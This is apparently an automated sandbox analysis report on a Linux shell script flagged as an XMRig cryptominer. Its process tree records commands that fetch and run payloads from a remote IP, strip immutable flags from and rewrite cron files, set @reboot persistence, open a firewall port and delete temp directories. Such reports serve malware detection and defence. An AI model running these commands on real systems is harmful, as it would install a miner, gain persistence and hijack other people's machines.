Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    01-02-2025 03:09

General

  • Target

    3a9ae9bd26448244f01988d954e60d3492da84ae1b6237965cf35b9ebf3912cd.sh

  • Size

    1KB

  • MD5

    a85657b9ccd1984a6757a87845a61a0d

  • SHA1

    1dc82b5d65d775348c4addefa3e2ff470d19bc3e

  • SHA256

    3a9ae9bd26448244f01988d954e60d3492da84ae1b6237965cf35b9ebf3912cd

  • SHA512

    1b79940f7fc522e6797060023cf713d16e44ff15bf98b41ecb0baf9da3cadb17eaf168abc4cbd3e0dd6d0eecd3b936651f1f8d9b4f19c78bda26b8d94dd31aab

Malware Config

Signatures

  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Contacts a large (112720) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • XMRig Miner payload 1 IoCs
  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Attempts to change immutable files 24 IoCs

    Modifies inode attributes on the filesystem to allow changing of immutable files.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads network interface configuration 2 TTPs 6 IoCs

    Fetches information about one or more active network interfaces.

  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Changes its process name 1 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 27 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 64 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/3a9ae9bd26448244f01988d954e60d3492da84ae1b6237965cf35b9ebf3912cd.sh
    /tmp/3a9ae9bd26448244f01988d954e60d3492da84ae1b6237965cf35b9ebf3912cd.sh
    1⤵
    • Executes dropped EXE
    PID:649
    • /bin/grep
      grep noexec
      2⤵
        PID:657
      • /usr/bin/awk
        awk "{print \$2}"
        2⤵
          PID:658
        • /bin/cat
          cat /proc/mounts
          2⤵
            PID:656
          • /usr/bin/whoami
            whoami
            2⤵
              PID:666
            • /usr/bin/find
              find / -type d -user root -perm "-u=rwx" -not -path "/tmp/*" -not -path "/proc/*" -not -path /sys -not -path "/sys/*" -not -path /proc -not -path "/proc/*" -not -path /dev/pts -not -path "/dev/pts/*" -not -path /run -not -path "/run/*" -not -path /sys/kernel/security -not -path "/sys/kernel/security/*" -not -path /run/lock -not -path "/run/lock/*" -not -path /sys/fs/cgroup -not -path "/sys/fs/cgroup/*" -not -path /sys/fs/cgroup/systemd -not -path "/sys/fs/cgroup/systemd/*" -not -path /sys/fs/cgroup/freezer -not -path "/sys/fs/cgroup/freezer/*" -not -path "/sys/fs/cgroup/cpu,cpuacct" -not -path "/sys/fs/cgroup/cpu,cpuacct/*" -not -path /sys/fs/cgroup/devices -not -path "/sys/fs/cgroup/devices/*" -not -path /sys/fs/cgroup/blkio -not -path "/sys/fs/cgroup/blkio/*" -not -path "/sys/fs/cgroup/net_cls,net_prio" -not -path "/sys/fs/cgroup/net_cls,net_prio/*" -not -path /sys/fs/cgroup/cpuset -not -path "/sys/fs/cgroup/cpuset/*" -not -path /sys/fs/cgroup/perf_event -not -path "/sys/fs/cgroup/perf_event/*" -not -path /sys/fs/cgroup/pids -not -path "/sys/fs/cgroup/pids/*" -not -path /sys/fs/cgroup/memory -not -path "/sys/fs/cgroup/memory/*"
              2⤵
              • Reads network interface configuration
              • Reads CPU attributes
              • Enumerates kernel/hardware configuration
              • Reads runtime system information
              PID:669
            • /bin/uname
              uname -mp
              2⤵
                PID:776
              • /usr/bin/touch
                touch .testfile
                2⤵
                  PID:777
                • /bin/dd
                  dd "if=/dev/zero" "of=.testfile2" "bs=2M" "count=1"
                  2⤵
                    PID:779
                  • /bin/rm
                    rm -rf .testfile .testfile2
                    2⤵
                      PID:780
                    • /usr/bin/wget
                      wget http://195.177.95.149/clean
                      2⤵
                        PID:781
                      • /bin/chmod
                        chmod +x clean
                        2⤵
                        • File and Directory Permissions Modification
                        PID:782
                      • /bin/sh
                        sh clean
                        2⤵
                        • Writes file to tmp directory
                        PID:783
                        • /bin/systemctl
                          systemctl disable c3pool_miner
                          3⤵
                            PID:784
                          • /bin/systemctl
                            systemctl stop c3pool_miner
                            3⤵
                            • Reads runtime system information
                            PID:785
                          • /usr/bin/chattr
                            chattr -ia /var/spool/cron/crontabs
                            3⤵
                            • Attempts to change immutable files
                            PID:786
                          • /usr/bin/chattr
                            chattr -ia /etc/crontab
                            3⤵
                            • Attempts to change immutable files
                            PID:787
                          • /bin/grep
                            grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/crontab
                            3⤵
                            • Attempts to change immutable files
                            PID:788
                          • /bin/mv
                            mv /tmp/clean_crontab /etc/crontab
                            3⤵
                              PID:789
                            • /usr/bin/chattr
                              chattr -ia /etc/cron.hourly
                              3⤵
                              • Attempts to change immutable files
                              PID:790
                            • /usr/bin/chattr
                              chattr -ia /etc/cron.daily
                              3⤵
                              • Attempts to change immutable files
                              PID:791
                            • /usr/bin/chattr
                              chattr -ia /etc/cron.daily/apt-compat
                              3⤵
                              • Attempts to change immutable files
                              PID:792
                            • /bin/grep
                              grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/apt-compat
                              3⤵
                              • Attempts to change immutable files
                              PID:793
                            • /bin/mv
                              mv /tmp/clean_crontab /etc/cron.daily/apt-compat
                              3⤵
                                PID:794
                              • /usr/bin/chattr
                                chattr -ia /etc/cron.daily/bsdmainutils
                                3⤵
                                • Attempts to change immutable files
                                PID:795
                              • /bin/grep
                                grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/bsdmainutils
                                3⤵
                                • Attempts to change immutable files
                                PID:796
                              • /bin/mv
                                mv /tmp/clean_crontab /etc/cron.daily/bsdmainutils
                                3⤵
                                  PID:797
                                • /usr/bin/chattr
                                  chattr -ia /etc/cron.daily/dpkg
                                  3⤵
                                  • Attempts to change immutable files
                                  PID:798
                                • /bin/grep
                                  grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/dpkg
                                  3⤵
                                  • Attempts to change immutable files
                                  PID:799
                                • /bin/mv
                                  mv /tmp/clean_crontab /etc/cron.daily/dpkg
                                  3⤵
                                    PID:800
                                  • /usr/bin/chattr
                                    chattr -ia /etc/cron.daily/exim4-base
                                    3⤵
                                    • Attempts to change immutable files
                                    PID:801
                                  • /bin/grep
                                    grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/exim4-base
                                    3⤵
                                    • Attempts to change immutable files
                                    PID:802
                                  • /bin/mv
                                    mv /tmp/clean_crontab /etc/cron.daily/exim4-base
                                    3⤵
                                      PID:803
                                    • /usr/bin/chattr
                                      chattr -ia /etc/cron.daily/logrotate
                                      3⤵
                                      • Attempts to change immutable files
                                      PID:804
                                    • /bin/grep
                                      grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/logrotate
                                      3⤵
                                      • Attempts to change immutable files
                                      PID:805
                                    • /bin/mv
                                      mv /tmp/clean_crontab /etc/cron.daily/logrotate
                                      3⤵
                                        PID:806
                                      • /usr/bin/chattr
                                        chattr -ia /etc/cron.daily/passwd
                                        3⤵
                                        • Attempts to change immutable files
                                        PID:807
                                      • /bin/grep
                                        grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/passwd
                                        3⤵
                                        • Attempts to change immutable files
                                        PID:808
                                      • /bin/mv
                                        mv /tmp/clean_crontab /etc/cron.daily/passwd
                                        3⤵
                                          PID:809
                                        • /usr/bin/chattr
                                          chattr -ia /etc/cron.weekly
                                          3⤵
                                          • Attempts to change immutable files
                                          PID:810
                                        • /usr/bin/chattr
                                          chattr -ia /etc/cron.monthly
                                          3⤵
                                          • Attempts to change immutable files
                                          PID:811
                                        • /usr/bin/chattr
                                          chattr -ia /etc/cron.d
                                          3⤵
                                          • Attempts to change immutable files
                                          PID:812
                                        • /usr/bin/chattr
                                          chattr -ia /etc/anacrontab
                                          3⤵
                                          • Attempts to change immutable files
                                          PID:813
                                        • /bin/grep
                                          grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/anacrontab
                                          3⤵
                                          • Attempts to change immutable files
                                          PID:814
                                        • /bin/mv
                                          mv /tmp/clean_crontab /etc/anacrontab
                                          3⤵
                                            PID:815
                                          • /bin/rm
                                            rm -rf /tmp/3a9ae9bd26448244f01988d954e60d3492da84ae1b6237965cf35b9ebf3912cd.sh
                                            3⤵
                                              PID:816
                                            • /bin/rm
                                              rm -rf "/var/tmp/*"
                                              3⤵
                                                PID:817
                                              • /bin/rm
                                                rm -rf "/dev/shm/*"
                                                3⤵
                                                  PID:818
                                              • /bin/rm
                                                rm -rf clean
                                                2⤵
                                                  PID:819
                                                • /bin/rm
                                                  rm -rf .redtail
                                                  2⤵
                                                    PID:820
                                                  • /bin/grep
                                                    grep -q x86_64
                                                    2⤵
                                                      PID:822
                                                    • /bin/grep
                                                      grep -q amd64
                                                      2⤵
                                                        PID:824
                                                      • /bin/grep
                                                        grep -q "i[3456]86"
                                                        2⤵
                                                          PID:826
                                                        • /bin/grep
                                                          grep -q armv8
                                                          2⤵
                                                            PID:828
                                                          • /bin/grep
                                                            grep -q aarch64
                                                            2⤵
                                                              PID:830
                                                            • /bin/grep
                                                              grep -q armv7
                                                              2⤵
                                                                PID:832
                                                              • /usr/bin/wget
                                                                wget http://195.177.95.149/arm7
                                                                2⤵
                                                                  PID:833
                                                                • /bin/mv
                                                                  mv arm7 .redtail
                                                                  2⤵
                                                                    PID:834
                                                                  • /bin/chmod
                                                                    chmod +x .redtail
                                                                    2⤵
                                                                    • File and Directory Permissions Modification
                                                                    PID:835
                                                                  • /.redtail
                                                                    ./.redtail
                                                                    2⤵
                                                                    • Changes its process name
                                                                    • Checks CPU configuration
                                                                    • Reads CPU attributes
                                                                    • Enumerates kernel/hardware configuration
                                                                    • Reads runtime system information
                                                                    PID:836
                                                                    • /bin/sh
                                                                      sh -c "command -v crontab >/dev/null 2>&1"
                                                                      3⤵
                                                                        PID:840
                                                                      • /bin/sh
                                                                        sh -c "crontab -r >/dev/null 2>&1; echo \"@reboot /.redtail\" | crontab -"
                                                                        3⤵
                                                                          PID:841
                                                                          • /usr/bin/crontab
                                                                            crontab -r
                                                                            4⤵
                                                                              PID:842
                                                                            • /usr/bin/crontab
                                                                              crontab -
                                                                              4⤵
                                                                              • Creates/modifies Cron job
                                                                              PID:844
                                                                          • /bin/sh
                                                                            sh -c "command -v php >/dev/null 2>&1"
                                                                            3⤵
                                                                              PID:845
                                                                            • /bin/sh
                                                                              sh -c "command -v nginx >/dev/null 2>&1"
                                                                              3⤵
                                                                                PID:846
                                                                              • /bin/sh
                                                                                sh -c "which apache2"
                                                                                3⤵
                                                                                  PID:847
                                                                                  • /usr/bin/which
                                                                                    which apache2
                                                                                    4⤵
                                                                                      PID:848
                                                                                  • /bin/sh
                                                                                    sh -c "which httpd"
                                                                                    3⤵
                                                                                      PID:849
                                                                                      • /usr/bin/which
                                                                                        which httpd
                                                                                        4⤵
                                                                                          PID:850
                                                                                      • /bin/sh
                                                                                        sh -c "iptables -I INPUT -p tcp --dport 40235 -j ACCEPT >/dev/null 2>&1"
                                                                                        3⤵
                                                                                        • Attempts to change immutable files
                                                                                        PID:852
                                                                                        • /sbin/iptables
                                                                                          iptables -I INPUT -p tcp --dport 40235 -j ACCEPT
                                                                                          4⤵
                                                                                          • Attempts to change immutable files
                                                                                          PID:853

                                                                                  Network

                                                                                  MITRE ATT&CK Enterprise v15

                                                                                  Replay Monitor

                                                                                  Loading Replay Monitor...

                                                                                  Downloads

                                                                                  • /.testfile2

                                                                                    Filesize

                                                                                    2.0MB

                                                                                    MD5

                                                                                    b2d1236c286a3c0704224fe4105eca49

                                                                                    SHA1

                                                                                    7d76d48d64d7ac5411d714a4bb83f37e3e5b8df6

                                                                                    SHA256

                                                                                    5647f05ec18958947d32874eeb788fa396a05d0bab7c1b71f112ceb7e9b31eee

                                                                                    SHA512

                                                                                    731859029215873fdac1c9f2f8bd25a334abf0f3a9e1b057cf2cacc2826d86b0c26a3fa920a936421401c0471f38857cb53ba905489ea46b185209fdff65b3b6

                                                                                  • /arm7

                                                                                    Filesize

                                                                                    1.1MB

                                                                                    MD5

                                                                                    045daa66263bfd467051c013e9222faf

                                                                                    SHA1

                                                                                    4b943b14526d7bf7be2b3e3f9af24d1f35015548

                                                                                    SHA256

                                                                                    d4635f0f5ab84af5e5194453dbf60eaebf6ec47d3675cb5044e5746fb48bd4b4

                                                                                    SHA512

                                                                                    bd684e0909793c05a34891f2ffe289e00b66c634d8059a9301274ef764aff38ae6d5c0c224228d11007b297e32e00749b40197f77f7fc48c44c50ef3651bc41f

                                                                                  • /clean

                                                                                    Filesize

                                                                                    795B

                                                                                    MD5

                                                                                    397ff5e54194072e6d8a44a0d8cc1b27

                                                                                    SHA1

                                                                                    42477b0c3b277b5e907b0a35c644f3291ed30a63

                                                                                    SHA256

                                                                                    d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e

                                                                                    SHA512

                                                                                    ff40c129e3b2891ae280bce97e52ee69aea18ca60ea7901f7efd4cf11d3bf1c4ee48e9eb90e5f045e080ab784ee2a9942c2bcf0a531b7f4602931f63c4b32d74

                                                                                  • /tmp/clean_crontab

                                                                                    Filesize

                                                                                    1KB

                                                                                    MD5

                                                                                    30e858769aacd9cc309502f8d5c6aa0f

                                                                                    SHA1

                                                                                    927c06dd4d6cbb5ca02e9505011c8667c47f2d6e

                                                                                    SHA256

                                                                                    eff406c0943e1399e3e15fdb6ca2893a187d6b273f5bd9d17eec4e4b4c52b8cd

                                                                                    SHA512

                                                                                    f7f6e70925afe54fc2fdaae13a750b3c49fde9fa59d80af321885d270112ebb2291f034037708f1ba8515f3e3e1ca0a493cd1e002895aa699c469e0365ccde3c

                                                                                  • /tmp/clean_crontab

                                                                                    Filesize

                                                                                    3KB

                                                                                    MD5

                                                                                    02f33c9e59b27bcd241e488cd48de072

                                                                                    SHA1

                                                                                    9247eee9b2310d56455beccf41c577ba16b78e3d

                                                                                    SHA256

                                                                                    2565ab0cb86a8cb7fd37a0401ad22624da886b8df9130a5bd4b566f404130c14

                                                                                    SHA512

                                                                                    1eda274264320a72cd58462b6c8a7747990a7eedf836be730b51b92ea6b04a1005aed596f9b9d53c4c8a93001d112450d0c6d83dfe4eee4b91a671623662fb3d

                                                                                  • /tmp/clean_crontab

                                                                                    Filesize

                                                                                    249B

                                                                                    MD5

                                                                                    db990990933b6f56322725223f13c2bc

                                                                                    SHA1

                                                                                    387303696a796e27f559c73679e979f2a538072d

                                                                                    SHA256

                                                                                    777a9112ee093d8683645b031eb6cfeb9ce77274f40575c48ff2054ea24114d1

                                                                                    SHA512

                                                                                    a3764e580bcfe0b2100da8ff2a00bed4936cb2acc9985daef52fb0310a7ed3367a1944a355c3f1dbc92d82c82b54280926736f81bc138efb4f7df1814abee3b5

                                                                                  • /tmp/clean_crontab

                                                                                    Filesize

                                                                                    722B

                                                                                    MD5

                                                                                    8f111d100ea459f68d333d63a8ef2205

                                                                                    SHA1

                                                                                    077ca9c46a964de67c0f7765745d5c6f9e2065c3

                                                                                    SHA256

                                                                                    0e5c204385b21e15b031c83f37212bf5a4ee77b51762b7b54bd6ad973ebdf354

                                                                                    SHA512

                                                                                    d81767b47fb84aaf435f930356ded574ee9825ec710a2e7c26074860d8a385741d65572740137b6f9686c285a32e2951ca933393b266746988f1737aad059adb

                                                                                  • /tmp/clean_crontab

                                                                                    Filesize

                                                                                    1KB

                                                                                    MD5

                                                                                    bc4a71cbcaeed4179f25d798257fa980

                                                                                    SHA1

                                                                                    61445721d0b5d86ac0a8386a4ceef450118f4fbb

                                                                                    SHA256

                                                                                    8eeae3a9df22621d51062e4dadfc5c63b49732b38a37b5d4e52c99c2237e5767

                                                                                    SHA512

                                                                                    709badb4dd1a15a10b34f82d31ed4bbab81698190d2ec94e2ad3dcdc90d97b893eb61cde72f08e517a8beea08ec1d675385fd42a9e77530981b7d83c6bd3548c

                                                                                  • /tmp/clean_crontab

                                                                                    Filesize

                                                                                    279B

                                                                                    MD5

                                                                                    911a774fe040993b929504f3d9415ab3

                                                                                    SHA1

                                                                                    55ccc8e95097f005abf9f4d91a14394e6d0f5da5

                                                                                    SHA256

                                                                                    340dfc483eb79b83b0630b1c0b339e30ebd724ef2f58bb87ba92946472e8e63d

                                                                                    SHA512

                                                                                    1eb8fd8dc6fd444ba2fa3ca7e863894cfb19383e5b20c700ed24aa615402340424d093a761632cf27a3e789ecd548ca972806e154161635da4f97b415d6fc64f

                                                                                  • /var/spool/cron/crontabs/tmp.l1o1IM

                                                                                    Filesize

                                                                                    193B

                                                                                    MD5

                                                                                    9c416d9f462a6fa35ce3b96d2fee5e84

                                                                                    SHA1

                                                                                    db51c40363e3505a9c3f938cdd3b5e7eb407bb2b

                                                                                    SHA256

                                                                                    2efb80a877e3ab7b23c6660cee21218197cfbdb968a2954fe7a79dd053c99b1f

                                                                                    SHA512

                                                                                    929f7df399ea0dce0a67ef1fd12c1a998efcd0d4e3555e672e0d2cb3c98ef48263ded979ff645dbfe3e53fe6cc29ca0b889e5de81913f20bb92da1af75efaf91